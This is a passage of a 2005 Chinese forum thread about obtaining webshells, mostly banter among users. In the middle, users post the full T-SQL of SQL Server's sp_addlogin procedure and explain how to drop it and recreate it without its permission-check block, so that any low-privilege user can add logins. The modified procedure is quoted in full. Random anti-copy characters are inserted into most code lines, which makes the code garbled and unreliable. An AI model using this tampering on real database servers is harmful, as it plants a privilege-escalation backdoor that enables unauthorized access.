找回密码
 立即加入
搜索

楼主: 上山上山爱

[原创]webshell篇

[复制链接]
冬冬 发表于 2005-6-17 22:13:40 | 显示全部楼层
就凭你?% ]4 A) x0 b3 _0 k6 W
有资格这样评价师院学生的计算机水平??/ D* b; _" C$ E+ U
用这种口气诋毁别人!
) O5 J' v% E8 K& b; B鄙视你
% M0 Q& C: P  \8 Q: H& r
1 J! s& \4 b6 p5 `' l  e0 z% U  _6 z; |/ T2 A
[B]以下是引用[I]Lindx[/I]在2005-6-7 17:40:59的发言:[/B][BR]限1 d9 H7 h. f9 t& @9 t
这个定义未免太烂了吧,我想知道你用什么方法获得人家的webshell,靠那些在网上公布的傻瓜工具吗。可是到头来还是不只所以然,那你凭什么教人家怎么去研究
" z" ~1 B. t; k% J' a1 T  p- x对于师院人士的计算机水平,我实在不敢恭维,没有天才的诞生啊
9 r+ F. d7 f$ v5 T哎,可悲啊
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

冬冬 发表于 2005-6-17 22:15:07 | 显示全部楼层
就是就是。。0 x8 O/ D9 w4 U. ]
  q/ A" h  B- k9 i  B4 S
[B]以下是引用[I]Lindx[/I]在2005-6-6 9:45:42的发言:[/B][BR]对一个深陷迷途的同志,各位大虾用得着这样蔑视它吗,我们应当怀着一颗仁慈的心来拯救它,爱护它,我KAO,JB
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

SeAsOn` 发表于 2005-6-18 01:10:31 | 显示全部楼层
[B]以下是引用[I]冬冬[/I]在2005-6-17 13:32:03的发言:[/B][BR]create procedure sp_addlogin! W% T% ~' W! _/ O& e2 U% e
@loginame sysname
( N$ f3 M% d+ j* t8 r. c* C* I1 J,@passwd     sysname = Null
* h! d7 l# f; P* O' y5 n,@defdb     ; ; sysname = \'master\'   -- UNDONE: DEFAULT & q) }/ Y3 T/ e
CONFIGURABLE???
# W! }$ ]8 M1 Q9 B8 B' V,@deflanguage   sysname = Null
. b9 f0 Q. }% t. W,@sid   varbinary(16) = Null
/ D/ @& A, i. z3 m,@encryptopt varchar(20) = Null9 B% C3 s" M6 t- U/ ~
AS+ A5 B& X% J* ?3 _& H
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
, J' B: v, ]4 n: h9 }; hset nocount on
5 o$ C% C1 }7 a! }7 ]% d5 P) tDeclare @ret   int   -- return value of sp call
# v* {+ r/ P2 x4 t* R( c-- CHECK PERMISSIONS --$ O# n1 o: G& w! h/ w
IF (not is_srvrolemember(\'securityadmin\') = 1), }7 ~+ a5 E! Z+ @
begin
; w; A# P- k' }/ x+ S/ Hdbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
) v! F' Y  m: {& {( R- x) j* draiserror(15247,-1,-1)& Y$ ~2 c0 Y% K" Q, @( D
return (1)3 S$ p& A3 t6 h( ~; \5 _$ L" j9 w
end
6 N; S( b" B4 r' D2 z8 |ELSE
9 z: Z# b0 r' @" [begin
/ v5 E, ?* o5 J* |: f+ Ldbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)/ }" P) D1 v+ V) a
end
' P1 N" l7 w: q0 F3 ^# a1 @5 X1 P8 C3 u-- DISALLOW USER TRANSACTION --0 c) W+ m8 a+ V6 Z$ a. i
set implicit_transactions off
  q/ d1 {$ H2 d" ]8 bIF (@@trancount > 0)9 u+ E7 q7 }+ ~( b+ U/ X
begin
* [5 ~: t" K; h9 S6 hraiserror(15002,-1,-1,\'sp_addlogin\')- D5 U% ~. Y6 u& b: B5 @
return (1)
1 x& B/ N; o6 B* H4 a" `end
( U6 [3 G& z, Q/ y+ q2 @-- VALIDATE LOGIN NAME AS:5 {) g4 M; i' d+ D2 m0 m
-- (1) Valid SQL Name (SQL LOGIN)# i9 N& ?! [- P! f, b9 B: A
-- (2) No backslash (NT users only)
+ H' r# [. k2 a: O6 U; M-- (3) Not a reserved login name
$ J* B. X& @% bexecute @ret = sp_validname @loginame
( W+ c! X- X/ d2 eif (@ret <> 0)- G7 L4 k* V' H' j# m: M9 n  b3 z
  return (1)7 a! L' ~+ N  J4 x. r  \
if (charindex(\'\\\', @loginame) > 0)( w1 P1 p& \" k
begin
/ ?/ Y5 [& w, }5 P6 b) q9 N  raiserror(15006,-1,-1,@loginame)
( \8 ]' i3 l' {2 O4 g6 E. @; B  return (1)4 F7 ?. `& u6 `. u1 S
end5 X/ `9 g9 L8 B; [
--Note: different case sa is allowed.0 o4 T, D- D  p) W. i* f
if (@loginame = \'sa\' or lower(@loginame) in (\'public\'))5 M5 X( A0 ]% Z' t! Q3 h4 A8 T
begin
5 g) G- ?+ B& ~. M* b. uraiserror(15405, -1 ,-1, @loginame)
/ Z) T. e8 \- u; H5 ~: Breturn (1)( _7 |, a$ r; t% X. z! T
end
0 ^; q! |( \- }* ]3 T; I0 D-- LOGIN NAME MUST NOT ALREADY EXIST --; X7 d% I! {# K
if exists(select * from master.dbo.syslogins where loginname = - O' g  |6 ]. ~; \. m
@loginame)
% p: Q4 W" o9 o+ lbegin+ E! d1 n" {- s# o' x
raiserror(15025,-1,-1,@loginame)7 o: W; g/ G* V% F' o2 N6 l3 q0 q1 k
return (1): O6 k; S4 a6 E0 I  A( ^
end
4 M  E. X7 x' B$ l9 r1 {-- VALIDATE DEFAULT DATABASE --; F% Z9 O" {6 B% v; Q" |2 J9 ^
IF db_id(@defdb) IS NULL
7 c6 @5 s. Y& R# V* j& G+ b8 j# s. |# Tbegin
; h' k7 M; }; |" P' yraiserror(15010,-1,-1,@defdb). @& h9 E7 R0 s
return (1)
# O! \6 `" p; Y1 i( e$ q4 qend
2 G9 a% g6 f6 r6 H4 Q% m& y# n3 C-- VALIDATE DEFAULT LANGUAGE --& n$ w- }2 e5 b" o  P% F
IF (@deflanguage IS NOT Null)4 P7 W2 g3 M9 [( y' U+ s
begin6 C8 t3 s; `4 d6 o2 u& t
Execute @ret = sp_validlang @deflanguage
, H# O$ x) ^+ ~, \3 c+ [  lIF (@ret <> 0)6 X3 Q& j( A. z1 v7 R2 z0 a" a* ^
return (1)
& ]0 T# l8 X, O5 }8 uend1 |& S) ]- X# ?; X2 H
ELSE. V9 T: v* Z; J7 ]- P" V0 R
begin
5 {2 V4 a  D1 l  O1 f1 _& f9 dselect @deflanguage = name from master.dbo.syslanguages# o( J4 \0 p: Y' j! d+ l& X! v
where langid = @@default_langid --server default
) V2 T9 y) t( n- }  u' {( L' Olanguage
9 {% [8 x$ ^; j% z. ]' L! Mif @deflanguage is null
6 |5 [0 U) b0 k- r/ P# g; q6 w( `8 eselect @deflanguage = N\'us_english\'8 d& ]' L: L0 a5 |) l
end
0 K. K6 B" c: P% ^% _. F6 @-- VALIDATE SID IF GIVEN --  n: ^( {% L' K; D
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))4 K; ]5 W& _. p* v: I) U6 Y
begin
8 v5 ]' _( l$ G7 Kraiserror(15419,-1,-1)
; o3 I- r6 A! i, Vreturn (1)' l) Y# ~9 \" Y4 i) k# ^( l% q
end# \. ?- h7 E7 V" \# m0 Q2 R
else if @sid is null
4 h  \# [- I7 Vselect @sid = newid()
7 {" a$ W! Y5 e4 |if (suser_sname(@sid) IS NOT Null)
" w4 c! G' `; C0 xbegin" K9 e6 b! X* f$ A% L  j
raiserror(15433,-1,-1)
5 {8 x8 O' k" Mreturn (1)
! k: {" O* v8 r) b! R) H  Eend# k# ?2 o# n" h+ h/ H% v$ _
-- VALIDATE AND USE ENCRYPTION OPTION --/ c$ ~* f& r( S
declare @xstatus smallint
; t' c6 |5 I- c& t& hselect @xstatus = 2 -- access
5 _: @4 }% [0 z& I. |if @encryptopt is null
/ s! r; A' }# |! X* [8 C- X( zselect @passwd = pwdencrypt(@passwd)
2 e: Q$ {) q* S* welse if @encryptopt = \'skip_encryption_old\'
* N2 c% b9 l% x! p7 J( O. Sbegin" r  F8 T% l4 ^+ d% X/ A9 h# {
select @xstatus = @xstatus | 0x800, -- old-style ; ?+ z1 c1 ~) U' Y; q- N3 ]
encryption3 w" d) W. ^4 W: R- R
@passwd = convert(sysname, convert(varbinary/ O# s$ q+ t9 }! U* |, Q
(30), convert(varchar(30), @passwd)))
* e; c2 B9 S: I% cend# o6 M- Q+ U  B$ i
else if @encryptopt <> \'skip_encryption\'
: l' L+ p7 p' C# H3 Mbegin
) K# N3 J- ]. s& lraiserror(15600,-1,-1,\'sp_addlogin\')
* K! }+ ], D! creturn 1
9 U. J1 E! j1 b' d/ w$ Z& L+ n* _end
6 Z7 i  w% o% y/ h5 Y- q-- ATTEMPT THE INSERT OF THE NEW LOGIN --$ ]0 Q8 B9 D: A% i
INSERT INTO master.dbo.sysxlogins VALUES2 S0 j6 E6 C& _2 s- d  q
  (NULL, @sid, @xstatus, getdate(),
' ?: t$ \/ ~. _  Z% J    getdate(), @loginame, convert(varbinary(256), @passwd),: v0 f2 H; a3 u  a
    db_id(@defdb), @deflanguage); b' D2 i) h- l- ~+ h
if @@error <> 0 -- this indicates we saw duplicate row
- \1 l5 t. E$ Y% V7 {  return (1)$ ~( V( X" F8 z2 g- S/ B
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE % N* V  H7 q- V
SYSLOGINS CHANGE --# [4 a; I% `  Z5 ~
exec(\'use master grant all to null\')4 T; e. o3 h& B5 M2 s$ f8 G9 F+ X
-- FINALIZATION: RETURN SUCCESS/FAILURE --
3 m) w3 k" D7 M! {6 J: p' ]/ e$ Vraiserror(15298,-1,-1)
' d" O1 @5 L. l5 U9 {' R( h# jreturn (0) -- sp_addlogin
( t& z4 ~9 D4 i! D8 UGO
, g3 V) Q, w$ z& L之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行
) s- `" z; l: {5 c- C/ ]sp_addlogin,主要是这里一段再搞鬼
: @- M1 \! S! X" h-- CHECK PERMISSIONS --
/ B2 f8 O+ I3 p5 v. v/ XIF (not is_srvrolemember(\'securityadmin\') = 1)8 ^1 n4 w6 H& O0 P0 f( @% g
begin; u. d2 W1 K; X# Z& z/ \
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
' F! `- i# c8 S8 u. L( Fraiserror(15247,-1,-1)
5 I' s& F1 V2 X2 E8 m0 e: N! l" ?return (1)5 z- e4 _6 ?2 y3 V2 L# Y) M% I5 P
end
3 }5 m4 ^: H+ ^- J  d8 R1 GELSE9 |& z, ]: o- h4 p3 f/ n
begin# c( X$ h/ p6 j' R& B1 v& g7 S$ j
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
; n, A1 W" t: g$ M, w7 F+ b* Z" H: [end
9 }  u: `3 M& s% I1 W7 t+ _8 O# e! B" }2 I' k3 k) ^% e
只要我们把这段代码删拉,任何权限的用户都可以增加用户拉。) \0 ?" d# l( f! j% s( i) V2 F# b1 L
drop procedure sp_addlogin
, c+ Z) g. z' f& [' m2 c8 K9 Y- H; s/ ^7 f  y% C
! @# p) Z% i% |9 M5 Y3 y) l

" _/ @7 ~. `4 U4 U. D" _$ W* t然后再来恢复sp_addlogin: B! x* V; `( U- P, ~

# i9 ~2 g7 ]. j) b# \/ R- A/ F3 f  }

+ g* N9 _. a3 B: bcreate procedure sp_addlogin) t. v2 b* I' |" G3 q  W4 B3 G
@loginame sysname2 Y3 ~0 K+ M$ F( d$ j: O% \
,@passwd     sysname = Null6 M3 z3 \4 q# A" y% c
,@defdb     ; ; sysname = \'master\'   -- UNDONE: DEFAULT ' q0 ?7 v1 \# r! H& w' T
CONFIGURABLE???
4 h3 R1 s3 b# q( s. y! R; z, [,@deflanguage   sysname = Null0 y! J& `& Y9 V0 d# d: A1 N( a
,@sid   varbinary(16) = Null7 c; K1 D3 Z$ k1 J5 Z* M% y) u
,@encryptopt varchar(20) = Null
$ {8 r& r) I3 E( y7 oAS
. W* h, n( Q  J! q. @2 D4 g: s8 G-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --0 `1 Y# T* N  V2 l) P( Z
set nocount on
( K# }# V8 ]  i) FDeclare @ret   int   -- return value of sp call
; m# E5 N$ \( y/ t# b+ R8 j+ i  i) v7 ?) O  j$ i& g
-- DISALLOW USER TRANSACTION --
& ?; }9 K# G: q$ M* ]set implicit_transactions off9 l' ?) S3 Y- A7 S
IF (@@trancount > 0)5 c8 D+ }, }3 X4 c
begin
7 r' ?9 I4 j- o0 Oraiserror(15002,-1,-1,\'sp_addlogin\')
7 D! i( k0 v( ureturn (1)
7 d6 R7 ~/ y/ Oend' r7 t. d! m3 f/ \5 ~) x
-- VALIDATE LOGIN NAME AS:, c5 z+ A  j" d
-- (1) Valid SQL Name (SQL LOGIN)
$ y* Z. Q, h2 H! J  P-- (2) No backslash (NT users only)
/ @4 Y8 ~1 T0 N" m-- (3) Not a reserved login name" i4 |5 \# u6 z4 u
execute @ret = sp_validname @loginame
5 y4 n" W4 z( C8 wif (@ret <> 0)
. S. q: I$ Q& o5 ?; z! v  return (1)
' R4 ]% r3 V* ^: Z* x$ {if (charindex(\'\\\', @loginame) > 0)
4 d- N3 ?) C. Rbegin
3 D( Y2 e" A$ v9 l  raiserror(15006,-1,-1,@loginame)- O$ K5 L) I: q: ~7 y( |
  return (1)
7 |* v  m; T# l" b, C: C* ^end
- f  s0 e- a! s8 L4 ]  u2 v: Z% r--Note: different case sa is allowed.
+ |. U* `  G8 {8 g/ h$ sif (@loginame = \'sa\' or lower(@loginame) in (\'public\'))8 p" N/ E# [: ?% g( P6 o
begin0 i' j* h8 H) c, }" s$ c% H4 U
raiserror(15405, -1 ,-1, @loginame)
, x; H; q1 _4 R) M6 i/ v: H2 ?return (1)' O% I7 R4 r( Y; u) R5 A
end
9 m0 `4 w6 S' g6 A; p-- LOGIN NAME MUST NOT ALREADY EXIST --
5 J/ m4 F5 \4 {+ L% Tif exists(select * from master.dbo.syslogins where loginname = * \6 ]& S3 A9 t' b( V2 T
@loginame)0 T/ R/ U" D9 m* J3 P7 j+ `( w; F: f
begin
  i2 y. i; `1 Sraiserror(15025,-1,-1,@loginame)
( ~, p4 b1 A8 ^: nreturn (1)* d# K1 a% Z0 S6 J! X/ r- ^; ]
end  `5 L4 K& b0 }) ^* `3 R" g; \
-- VALIDATE DEFAULT DATABASE --
, r* f, d% g4 d! v) l0 v) |IF db_id(@defdb) IS NULL4 N" ^( ^/ |9 M2 J( s5 |/ a; A% K
begin
' Z" C& W5 ]+ u7 |+ P, }1 E$ m! lraiserror(15010,-1,-1,@defdb); u/ \% V. |4 m# v# u
return (1)
- M6 \! Z7 b7 [$ P- l- C( }- Send
: _5 q0 f; v2 F0 _- c/ T0 x-- VALIDATE DEFAULT LANGUAGE --
/ p" @# L7 |* z4 \IF (@deflanguage IS NOT Null)
4 S6 }& v9 P' ^begin$ |, z/ p9 @. E" G( R9 H; E# u
Execute @ret = sp_validlang @deflanguage
+ O6 E3 j8 t5 |" i6 JIF (@ret <> 0)+ e! ?3 Q( d3 f$ H  x4 _1 v
return (1)) G7 n2 _6 {0 I$ J$ z" U; G: k; Z
end
- a1 z# d) i4 A. iELSE
# R% g4 _, J% i1 x, t/ o" f- ibegin
  @( n# \, U4 _. |select @deflanguage = name from master.dbo.syslanguages
2 v5 v+ O. C, B  Awhere langid = @@default_langid --server default
' N% x$ g8 k1 H$ t5 M& y0 o# clanguage
# s. @6 w  A0 d, ?if @deflanguage is null% n, V) A3 [& s9 r+ y$ I
select @deflanguage = N\'us_english\'  A+ V7 v5 J* G6 D0 _) x
end
$ a! B8 q1 T4 l6 t-- VALIDATE SID IF GIVEN --+ |8 N2 J' q0 C4 @5 m! P6 ?
if ((@sid IS NOT Null) and (datalength(@sid) <> 16)); h3 |% M  [8 t3 R2 W0 v; k
begin4 |" M. K, I4 m; Z
raiserror(15419,-1,-1)5 p6 m+ J( A" s# O- l* G) f3 D3 Z
return (1); f6 Z1 J* l3 I* h$ D
end
9 T  ?. R, P% felse if @sid is null$ b7 M+ S+ o+ t
select @sid = newid()
% x1 J/ E% T' u4 Z9 uif (suser_sname(@sid) IS NOT Null)
: W) a' [; A8 K1 D8 Rbegin6 L' a+ I+ b; G5 e
raiserror(15433,-1,-1)" b( b3 e  i% x* k( @  W7 A  }! l; ?$ }
return (1)8 @+ R/ O0 E' y4 t
end
, a- G, C4 t( q; p-- VALIDATE AND USE ENCRYPTION OPTION --' C& k. ?# \+ s" V
declare @xstatus smallint
8 k. M. y) |3 T3 W; q% o4 c$ z, b) Cselect @xstatus = 2 -- access" T$ J# g7 L7 v, D& k
if @encryptopt is null# u% ~; G3 }2 [7 D6 p
select @passwd = pwdencrypt(@passwd)
( M( `: N0 ]2 Celse if @encryptopt = \'skip_encryption_old\'" V9 `5 ]9 T( B4 Z
begin2 v8 w( Y8 R+ S/ i2 S5 t
select @xstatus = @xstatus | 0x800, -- old-style
: B1 X. [6 i# |* ]encryption0 _+ Y" r* O: Z3 z- p4 ~0 d
@passwd = convert(sysname, convert(varbinary3 h+ X+ e0 }! s( U0 b: C
(30), convert(varchar(30), @passwd)))
, \0 s9 O$ O9 h3 Q( C' q, fend
& W& i* q( O3 k' e" [$ n0 N0 relse if @encryptopt <> \'skip_encryption\'
3 B+ A0 S) o2 b8 y2 ^% M+ Mbegin9 u& R! a6 t$ W6 U2 x5 C6 D% a
raiserror(15600,-1,-1,\'sp_addlogin\')
: Q* G$ E1 I2 Q' _3 v6 ^return 18 f. A+ A& }! P9 M( \' D" i0 @+ c
end
& ~! U* B' z" V7 a/ N5 G  s9 R-- ATTEMPT THE INSERT OF THE NEW LOGIN --
; e( i$ R1 a& q  o4 b. \; jINSERT INTO master.dbo.sysxlogins VALUES
1 L7 ]6 y" n$ r% \/ P  (NULL, @sid, @xstatus, getdate(),4 @$ R* `* T  q* c: i
    getdate(), @loginame, convert(varbinary(256), @passwd),% E  j% e2 e$ R3 r6 R  A
    db_id(@defdb), @deflanguage)5 D/ b( C$ J: l  ^; q. S& Z  I
if @@error <> 0 -- this indicates we saw duplicate row
- h" s, Z* {4 c+ D, Y: M  return (1)$ V. }) P/ p6 L; ^% P8 @
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE # u. d( o6 o, N5 I( ]' P
SYSLOGINS CHANGE --9 W7 U7 g: G/ y6 J" n; U2 _
exec(\'use master grant all to null\')6 P! s- q! M4 ^5 l# P/ Q) H- y5 L
-- FINALIZATION: RETURN SUCCESS/FAILURE --
! T0 Z$ @! B4 i$ a, x" hraiserror(15298,-1,-1)3 F% V9 {6 k7 g6 I% K; o
return (0) -- sp_addlogin
0 P) [5 C" h" j& X2 ?GO
0 p6 e! s" ~- Z( D2 \1 d! p
MM很强啊..    是不是师院计算机系的.??
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

SeAsOn` 发表于 2005-6-18 01:11:08 | 显示全部楼层
就当凭着这美丽的回帖..  
& ~/ j6 w: n8 A" p( N/ ~: y偶帮你加精了..
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

冬冬 发表于 2005-6-20 19:44:36 | 显示全部楼层
我不是计算机系的。
  E5 k4 O3 \, u自己学的。7 D. d  Q* i7 s: e8 K; i/ w# T% n

9 b: x3 p# ?3 _3 E3 U" n2 M1 i
[B]以下是引用[I]瀟濏づ聴渢[/I]在2005-6-17 17:10:31的发言:[/B][BR]
4 e5 b5 P; o) u' A/ v( a7 @- D- W- j; O1 j: K8 H' O% q. j
MM很强啊..    是不是师院计算机系的.??
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

SeAsOn` 发表于 2005-6-20 23:42:42 | 显示全部楼层
晕..  不是吧.. 自学的?...
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

冬冬 发表于 2005-6-23 20:08:09 | 显示全部楼层
我不是计算机系的!!!
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

amysong 发表于 2005-7-5 17:56:46 | 显示全部楼层
...晕...在这里讨论还要别人给QB
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即加入

本版积分规则

手机版|龙江曦月 ( 闽ICP备05009150号-1 )闽公安网备35060202000316

GMT+8, 2025-9-19 12:26 , Processed in 0.028629 second(s), 17 queries , Gzip On.

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表